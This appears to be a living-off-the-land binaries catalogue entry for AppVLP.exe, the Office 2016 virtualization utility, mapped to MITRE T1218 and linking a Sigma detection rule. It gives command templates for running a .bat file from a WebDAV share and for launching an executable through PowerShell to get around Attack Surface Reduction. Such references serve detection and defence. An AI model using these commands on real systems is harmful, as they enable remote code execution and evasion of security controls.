Appvlp.exe

type: OtherMSBinaries

Application Virtualization Utility Included with Microsoft Office 2016

Full path

C:\Program Files\Microsoft Office\root\client\appvlp.exe
C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe

Commands

ExecuteUser T1218
Execution of BAT file hosted on Webdav server.
```
AppVLP.exe {PATH_SMB:.bat}
```
Executes .bat file through AppVLP.exe
os: Windows 10 w/Office 2016
Execute: CMD
ExecuteUser T1218
Local execution of process bypassing Attack Surface Reduction (ASR).
```
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('{PATH:.exe}','', '', 'open', 1)"
```
Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.
os: Windows 10 w/Office 2016
Execute: EXE

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_appvlp.yml

Resources

acknowledgement: fab @0rbz_, Will @moo_hax, Matt Wilson @enigma0x3